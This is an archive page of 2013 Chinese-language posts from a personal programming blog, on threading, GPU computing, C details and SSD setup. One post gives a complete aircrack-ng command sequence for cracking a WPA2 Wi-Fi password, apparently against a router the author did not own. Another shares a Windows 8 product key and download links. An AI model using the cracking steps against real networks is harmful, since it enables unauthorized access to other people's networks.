Changkun's Blog欧长坤的博客

Science and art, life in between.科学与艺术,生活在其间。

  • Home首页
  • Ideas想法
  • Posts文章
  • Tags标签
  • Bio关于
Changkun Ou

Changkun Ou

Human-AI interaction researcher, engineer, and writer.人机交互研究者、工程师、写作者。

Bridging HCI, AI, and systems programming. Building intelligent human-in-the-loop optimization systems. Informed by psychology, sociology, cognitive science, and philosophy.连接人机交互、AI 与系统编程。构建智能的人在环优化系统。融合心理学、社会学、认知科学与哲学。

Science and art, life in between.科学与艺术,生活在其间。

284 Blogs博客
173 Tags标签
Changkun's Blog欧长坤的博客

多线程之间的通信 GPU计算 单摄像头图像识别 初步思考

Published at发布于:: 2013-05-24   |   Reading阅读:: 1 min
多线程通信 今天意识到多线程之间的一个明显的问题。 多个线程之间的消息如果实现共享,那么就有可能彼此抓住这个消息不放,从而导致所有使用该资源的线程全部瘫痪。 一个很简单的比方就是: 如果一桌人围着吃饭,但是只有一双筷子,每只筷子分别放在桌子的两端。当一桌人同时去抢某个筷子的时候,只有几个人抓到一些单独的筷子,而不是一双完整的筷子,这时候导致一桌人都没办法吃饭(当抓到的某个筷子被释放,很有可能被其他的人(线程)给抢走)。 于是,一个很自然的问题就是在多个线程的通信当中,建立一组实时(很重要)的通信方法,而这个貌似需要操作系统的知识,慢慢再看。 至于为什么是实时显得尤为重要,举个很简单的例子: 在一个音乐播放器当中,如果我的歌词不是去调用歌词文件(有时间标尺),而是通过歌曲的播放进程来“通知”歌词显示线程一件事实:“我已经播放到这里了”。这时显示歌词的线程才开始响应,从而才去显示歌词。而这时歌曲的播放已经进行一段了,从而导致延迟的效果。 而且这个延迟会随着使用环境的不同时好时坏,当资源通信状态良好时,延迟不会过大,而当使用环境非常恶劣时,很有可能显示歌词的线程在过了很长一段时间后才收到歌曲播放线程发来的消息。 所以,我们非常希望能够使得两个线程之间是“同步通信”或称“并行”的,而不是某个线程做出行动后才去通知另一个线程它应该开始有所行动了。 写的过程中又想到一种不建立实时通信也能够达到很好的并行效果的方法(只适用于某只线程运算较为复杂时): 当某个复杂线程开始进行反复运算时,在每一次通信的过程中,我都提前一次运算的时间(开始运算时就提醒)上提醒另一只线程该有所作为(提醒后开始),当这次运算结束时进入下一步运算,被提醒的线程已经完成了它的工作。 刚又想到还是存在致命的弱点,随着处理芯片的不同有可能出现很奇葩的不同步。(以后再想想有没有好的适配方法(毕竟这个实现起来比较简单),或者抛弃这个方案) GPU计算 写这里的时候查了一下我这个显卡(GT650M)的流处理单元的个数,作为笔记本显卡,384还算是一个比较靠谱的值了。 至于为什么要有这个想法的诞生,其实是我在做部分图像处理的时候遇到比较头疼的问题:运算速度太慢。 如果我在处理某个图像的时候能够把一部分运算分担给GPU的话,这样CPU就会显得稍微轻松许多。 然后我查了一下关于GPU计算的信息,发现这货居然是NVIDIA先提出来的。奶奶的要是我早生几年就好了,NVIDIA的官网,很多年前NVIDIA曾今生产过并行显卡(只有并行显卡才可以使用GPU计算,原因之前已经说了),后来在官网上放了很多的例子和一些事例代码来辅助并鼓励很多开发者来使用GPU计算的强大功能。后来又不知道什么原因NVIDIA居然一段时间制造的显卡是串行显卡,于是这个GPU计算的功能荒废了一阵(原因没有考究),后来NVIDIA看见AMD也开始在GPU计算上发力,于是最近几年又开始转向GPU计算的研发并且高速发展(事实上NVIDIA比AMD在GPU计算上强了不止一点两点)。 于是我找到NVIDIA官网上一些例子发现根本用不了(远古代码,根本不支持新驱动,NVIDIA),感叹怪不得现在很多人研究这个。 很多人声称提高运行速度不止一倍两倍,是好几十倍,(根本没有源码叫我怎么验证、、说不定你说的好几十倍是最好的结果)因为关于GPU计算方面的内容多半出现在论文当中,至少Google是这么告诉我的。不过这方面的技术貌似还是受到各种限制,如果需要将大量信息流发送到显卡中让显卡来进行计算,系统总线岂不是要爆了? 万一我要处理好几个G的信息怎么办?所以这方面技术目前占时还受到一些限制、、慢慢去了解这个东西吧、 单摄像头图像识别 最后来谈一下单摄像头手势识别的问题,网上搜到很多所谓学者在研究这个事情,如果把一个手势从复杂多变的背景当中剥离出来。 要是我解决了岂不是这些人得恨死我?他们上哪儿吃饭去?因为这个主要讲究识别率的问题,如果一个手势识别率仅仅30%一下这还有什么识别的意义,不就相当于猜了么。 单个摄像头一直存在瓶颈就是没有办法判断井深,如果是两个摄像头就好解决了。其实我主要想了几个方案,由于没有实验过,也只是处于理论阶段。 方案1: 单个画面的运动物体捕捉总体来说可以考虑在某帧画面中搜寻几个易于识别的兴趣点,然后跟踪这几个点的位置变化。 方案2: 对单帧画面进行色调分析,分析出感兴趣色调范围内的区域来响应消息队列。(和使用环境有很大影响、、这个高识别率可能或者一定存在极大的困难) 方案3: 待定 前阵子听说有学者在音频信号分离方面,证明了如果仅仅是单个麦克风采集到的多个人说话的声音信息是不可能完整分离的。(被证明了不可能,所以我很怀疑一个摄像头是不是也不能判断井深、、) 最后想吐槽一下笔记本的摄像头,为什么就不能配两个?配两个我还可以进行3D建模,甚至可以让视频通话的时候建立3D视频效果,提升高强度的用户体验。 最后的最后提醒一下自己:不要随意的跳入某个大坑,坑太大即便挖倒水了,怎么爬上去呢?

我这是要转 Ubuntu 的节奏吗

Published at发布于:: 2013-05-20   |   Reading阅读:: 1 min
破了电信还是不爽,没事上午体育课的时候鼓捣了下破路由器的密码。大爱ubuntu。 1.下载安装aircrack-ng。 sudo apt-get install aircrack-ng 2.启动无线,垃圾微软禁用开启无线,ubuntu直接调用爽歪歪,开启完成后进入ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。 3.准备工作完成,开始破解。开启终端1, sudo airmon-ng start wlan0sudo airodump-ng mon0 这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。现在大部分的路由都是wpa2的加密方式,果断选择类型为wpa2的无线为破解对象。我们需要记录它所在的频道以及mac地址。 4.开启终端2 sudo airodump-ng –channel 【频道】 –bssid 【目标主机mac地址】 -w wpa2 mon0 这里的wpa2为默认的存包文件的名字,可以更改。 5.开启终端3 sudo aireplay-ng -1 0 -a 【目标mac】 -h 【本机MAC地址】 mon0 (本机的mac可以开启一个新的终端用ifconfig -a来查询) 这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。 6.继续输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 【目标MAC地址】 -h 【本机MAC地址】 mon0 此时终端2中的数据会增长很快,当数据到达5000的时候就可以破解了。 7.开启终端4 sudo aircrack-ng wpa2*.cap 这时就开始破解了,如果你进行过多组,可能会有多组结果,你可以用数字123进行选择,如果不出意外你已经破解出来这组无线的密码了。 8.最后 结束监控过程 sudo airmon-ng stop mon0 ( sudo airomon-ng check可以查看你开启了多少监控,如果运行多组的时候可以查看后选择关闭)。

结构体排序引发的一连串问题

Published at发布于:: 2013-05-07   |   Reading阅读:: 4 min
1 2 3 4 5 6 7 8 9 10 11 12 题目: 给出n个仅由小写字幕构成的字符串,仅按其首字母排序。(若首字母相同,则直接维持原来的顺序。) 输入格式: 第一行为n。 接下来n行,每行一个串。 输出格式: n行,按排好的顺序,每行一个串。 数据规定: n <= 1000, 串长小于100000。 话说这题前前后后每周大概抽两个小时来搞这题,未怀疑过评测系统出问题,因为我看见老师过了。 前前后后拖了一个月的时间。 放上最终的代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <iostream>#include <fstream>#include <cstdio>#include <cstdlib>#include <cstring>#include <cmath>#include <climits>#include <string>#include <algorithm>#include <vector>#include <map>#include <time.
Read More阅读更多 »

Ubuntu 相关

Published at发布于:: 2013-05-06   |   Reading阅读:: 1 min
今天突然想到了在linux下用wireshark对电信账号进行抓包。 于是果断掏出柜子里放了很久的电脑。 以前安装ubuntu挺好的,今天试了好几个小时发现都装不到电脑里面,无奈之下格掉了整个硬盘,从U盘进winPE然后用iso的那个软件 制作u盘启动(直接搞死活不行)。 装好了ubuntu后又遇到了很多问题: 问题: 无法从终端使用命令su切换到root权限 解决办法: 1 2 3 sudo passwd [密码] [密码] 在Ubuntu 里面安装了wireshark 发现直接在普通用户下运行wireshark。不能启用抓包。会提示: 1 ubuntu/wireshark: There are no interfaces on which a capture can be done. 然后郁闷了很久,就想到会不会是权限不够,于是在终端里面: 1 sudo wireshark 果然可以进行抓包了,但是TNND还是有报错: 1 Lua: Error during loading: [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled 然后非常的不爽。 然后跟踪这个路径找到init.lua这个文件。 1 vim /usr/share/wireshark/init.lua 在倒数第二行把
Read More阅读更多 »

逃生时间初算

Published at发布于:: 2013-04-20   |   Reading阅读:: 1 min
google地图告诉我:双流县距离雅安大约110km。 地震发生时,首先是从震源 P波(纵波)跟S波(横波)2个地震波发生。 P波在地壳的浅层以毎秒約6km的速度, S波以毎秒3.5km的速度传播. P波到达双流的时间大致为:110 / 6 = 18s S波到达双流的时间大致为:110 / 3.5 = 31s 所以当我们感到轻微晃动的时候,最坏的情况下还有31-18 = 13s的时间用于逃生、 我们人的反应时间是1s。 住在四楼以上的同学们洗洗睡吧。。不要想着逃跑了。。 根据专家报道。。震动在地下13公里。。 根据勾股定理,实际传播距离会多出大约一公里。。。好吧忽略了。。

全空间和空空间?

Published at发布于:: 2013-04-11   |   Reading阅读:: 1 min
Rn中的开闭集到真是两个不错的概念, 在R中,闭集上的连续函数有很多优良的性质,例如有界性等。但是开集就不同了,它俩的差距还是蛮大的,仅仅因为两个端点就破坏了原本美好而优良的一种结构。 而在Rn中,有两个特殊的空间:全空间Rn 和 空空间(本人的叫法,实际上就是空集= =),因为只有它们是Rn中即开又闭的。怎么证明呢? 若S是Rn中的集合,且S既开且闭,我们准备证明S为Rn或空集。 利用连通性可以给出一个一句话证明: 因S是闭集,所以那么Rn-S是开的。于是Rn=S并(Rn-S)是两个不相交的开集的并。根据Rn的连通性知S与Rn中至少有一为空集,故S=Rn或空集。 实际上,道路连通>连通>这个命题。。因此真证明起Rn的连通性,这种证法是比较复杂的。。 我给出另外一个证法。 首先我们证明S的边界是空集。因为S开,S内的点都是内点,所以S内无S的边界点。同理Rn-S内也无S的边界点,因此S的边界为空集。 如果S和Rn-S均非空,则存在x属于S,y属于Rn-S。设L是联结x和y的直线段,则L是有界闭集。设z是L的重点,则z属于S或z属于Rn-S。因而L有子直线段L1分别以S与Rn-S中的点为其端点,依次可构造由L的子直线段组成的有界非空闭集套,L L1 … Li … 其集合半径趋于0.且两端点分别为S和Rn-S中的点。根据闭集套定理,存在唯一的点p属于所有直线段。由边界点的定义可见p属于S的边界,与S的边界为空集相矛盾。证完。

从装系统中学到的

Published at发布于:: 2013-04-08   |   Reading阅读:: 1 min
前天在京东上买了三爽的840pro,昨天中午拿到后便开始鼓捣如何安装。 不要问我价格,硬盘这种东西属于日跌品,一天一个价。如果你想买的话,建议还是去京东这种卖正品的地方买大牌子,淘宝什么的,这种东西还是算了吧。 不然的话,其他的虽然也叫SSD,搞不好哪天你自己都不知道自己是怎么挂的。 还有,本文示例机器为DELL 17R 4728,买来就已经装好了正版的windows8操作系统,正是因为如此,才会导致我这个小白在安装系统的过程中,出现了各类奇葩的以前从未遇见过的问题。具体情况,我们下面再说。 安装系统的过程基本上都是类似的,可以说是一通百通。不要因为说只会给某某笔记本装系统这种话,如果是这样就说明你已经沦为工人,不懂得思考。 前置知识: 顺便说一句,我之所以选择840pro其实也是观望了很久的。 本来一开始我是打算买金士顿这种相当廉价的128g的SSD(这时候对SSD完全不具备任何知识,只是道听途说它很快),不过在日后的观察中发现,事实上号称SSD也是有优劣之分的。它并不像传统的机械硬盘一样,5400转 、7200转甚至10000转的硬盘,由于他本身的结构限制,两个成品的5400转硬盘,其读写速度相差不会太大(本身速度就不大= =),可能在寿命上会有一些差距,不过没意外的话用个五六年是没什么问题的吧。 三星在存储技术方面有很雄厚的积累,使得他自己有能力生产自己SSD所有的组件,这样它可以压低成本也能够保证稳定性。三星就稳定性和英特尔比起来,他俩算是做的最好的了(目前)。 同时,三星的SSD要比英特尔的便宜,所以很多厂商也选择三星的SSD来做OEM(什么是OEM我们等会儿再说)。以前三星的SSD速度一直是位于中端位置,自从830发布之后,这个局面已经大大改观了。 之前我在京东上相中了840,而不是840pro 。原因很简单,840比pro版便宜了很多。但是在观望这块SSD的过程中就发现很多买家抨击这块 硬盘的寿命太短。这是什么原因呢?我们先来看看一些小知识: 更为详细的SSD工作原理,有兴趣的可以去参考《深入理解计算机系统》这本书。 SSD的存储架构一般有三种: SLC=Single-LevelCell,即1bit/cell,速度快寿命长,价格超贵(约MLC3倍以上的价格),约10万次擦写寿命 MLC=Multi-LevelCell,即2bit/cell,速度一般寿命一般,价格一般,约3000—10000次擦写寿命 TLC=Trinary-LevelCell,即3bit/cell,也有Flash厂家叫8LC,速度慢寿命短,价格便宜,约500次擦写寿命,目前还没有厂家能做到1000次。 有兴趣可以参看这篇文章稍微的详细介绍:http://tieba.baidu.com/p/2121663575 三星的840就属于TLC的架构,所以很多网友就吐槽他的寿命太低。但是实际上按照120G的容量,如果算一天读写入5G的缓存文件,那么大约需要20天才会完成一次擦写寿命。至少500次的擦写寿命,大家可以想想,TLC的SSD实际上也是可以使用很长时间的。 = =好吧我承认我有强迫症,即便如此,我还是可耻的入了pro版本的,pro版是MLC架构的。所以使用四五年还是没什么问题的,而且这个硬盘的发票上注明了:五年之内保修。这个。。基本上五年之后这笔记本也差不多该换了。 为什么不考虑SLC?回去看它的介绍、、普通大众、、洗洗睡吧、、 顺便说一句,实际上不买SLC也是可以达到这种速度的,那就是组RAID,至于什么是组RAID,有兴趣的同学可以自己研究一下,这个不是本文的主题了。 ============================================================================================================= 晒图 ============================================================================================================= SUMSUNG SSD 840 PRO 真面目(话说这玩意儿真的好轻,比我的手机还轻) ============================================================================================================= 三星赠送的供一般用户转移数据用的,比如说我们可以用它直接把原来系统中的系统盘的所有文件通过他来转移到SSD中,但是我们不建议使用这种方式,因为原来系统盘中有各类垃圾文件,直接转移过去可能导致各类奇葩系统不稳定,不过我没试过,喜欢折腾的同学们可以尝试一下。 ============================================================================================================= ============================================================================================================= 好,下面我们来看到怎么装系统。 ============================================================================================================= 一、准备工作 首先我们要准备好系统安装包。 win8专业版 系统下载: 32位系统: ed2k://|file|cn_windows_8_x86_dvd_915414.iso|2679801856|9AF10141BFD61BC66D9D6459758D7749|/ 64位系统: ed2k://|file|cn_windows_8_x64_dvd_915407.iso|3652950016|5C7F8C212BD3A1827866563773A431C2|/ 安装密钥:NG4HW-VH26C-733KW-K6F98-J8CK4 工具:各种螺丝刀 (用于拆卸后盖,替换原装硬盘) 下载完毕后是iso格式的文件,请用快压之类的软件将其解压到一个空U盘内。准备装系统用。 注意,如果你的笔记本从来没有更换过系统(win8),一直是用的是原厂的系统,就会在主板上记录下你的激活信息。这是因为: 以前新一代Windows操作系统发布之后,一系列OEM激活码就如雨后春笋般出现。同时也产生了大量的盗版副本,微软对此早已深恶痛绝。究其原因,还是“批量CDKey许可”这种不完善的激活流程所造成的。 Windows 8将不再采用传统的激活方式,具体方式是每一台OEM机器都被要求写入唯一对应的Windows 8产品密钥,而无法再通过一个CDKey来批量激活系统。 这样就会导致安装win8其他版本时检测到主板的激活信息冲突,导致无法安装/ 解决办法是: 在解压到U盘的sources文件夹下,新建文本,写入如下信息: [EditionID] [Channel] Retail [VL] 0 然后将文件名更改为: ei.
Read More阅读更多 »

string 标准库实现日志

Published at发布于:: 2013-03-31   |   Reading阅读:: 5 min
1 2 #include <stdio.h>#include <malloc.h> 本文主要讨论:memcpy、memmove、strcpy、strncpy、strcat、strncat memcpy memcpy的函数原型为: 1 void *memcpy( void *s1, const void *s2, size_t n ); 功能:函数 memcpy 从 s2 指向的对象中复制n个字符到s1指定的对象中。 如果发生在两个重叠的对象中,则这种行为未定义。 从上面这段文字来看,有两个概念是暂时不清晰的。 什么是 size_t ? 下面的这段是从crtdefs.h中拉过来的: 1 2 typedef _W64 unsigned int size_t; //所以 size_t 只不过是被 typedef 过的 unsigned int. size_t 类型定义在 cstddef 头文件中,该文件是 C 标准库的头文件 stddef.h 的 C++ 版。 它是一个与机器相关的 unsigned 类型,其大小足以保证存储内存中对象的大小。 size_t 是标准 C 库中定义的,应为 unsigned int,在 64 位系统中为 long unsigned int。 关签大神指出:「理解为当前系统的可寻址内存宽度, 32 位下就是 32 位,64 位下是 64.
Read More阅读更多 »

通过安装 Wordpress 插件所学到的

Published at发布于:: 2013-03-28   |   Reading阅读:: 1 min
因为主要是数学和计算机方面,所以不需要什么过分牛逼的插件吧,所以装了几个相当常用的插件了。下面介绍最为重要的两个插件: LaTeX for WordPress 这个插件可以编写latex的公式,非常给力,效果正如大家所看到的,下面是插入的一组麦克斯韦方程组: $$ \begin{cases} \nabla\cdot\vec{E}=\frac{\rho}{\varepsilon_{0}}\ \nabla\cdot\vec{B}=0\ \nabla\times\vec{E}=-\frac{\partial\vec{B}}{\partial t}\ \nabla\times\vec{B}=\mu_{0}\vec{J}+\mu_{0}\varepsilon_{0}\frac{\partial\vec{E}}{\partial t} \end{cases} $$ 所以呢,这样就非常方便我以后写公式了,以前找过很多写博客的地方,甚至包括QQ空间,都让插入公式变得十分的痛苦。 SyntaxHighlighter Evolved 恩,既然和计算机相关,那么代码这变得不可或缺。这个插件是我从隔壁 lellansin 盗过来的。感觉不错。 比方说下面是一个排序函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void DataSort( int data[], int n, int (* compare) ( int a, int b ) ) { int I, j, k, temp; for( I = 0; I &lt; n-1; i++ ) { k = i; for( j = i+1; j &lt; n; j++ ) { if( (* compare)( data[j], data[k] ) ) k = j; } if( k !
Read More阅读更多 »

C Details 之 基本细节

Published at发布于:: 2013-03-27   |   Reading阅读:: 1 min
1、有效数字 一般而言,double型数据可以接受实型常量的16位有效数字,而float型变量仅能接受实型常量的7位有效数字, 在有效数字后面输出的数字都是不准确的。 例如: 1 2 float a = 123456.7890123456e12; double b = 123456.7890123456e12; 可以尝试: 1 printf("%f\n%f\n",a,b); 2、变量定义的位置 C语言中要求定义变量必须在所有可执行语句之前。 例如: 1 2 3 printf("Input n:"); int n; scanf("%d",&n); 这一规定仅仅只是在C89中规定,从C99开始便取消了这一规定并且,C++也并没有这一规定,例如: 1 2 for( int i = 0; i < Num; i++ ) Do something; 3、关于自增 一个疑问:对于 1 2 3 a = 1; b = a++; c = ++a; 为什么b的值为1,c的值为2?
Read More阅读更多 »
24 25 26 27 28 29 30 31 32
© 2008 - 2026 Changkun Ou. All rights reserved.保留所有权利。 | PV/UV: /
0%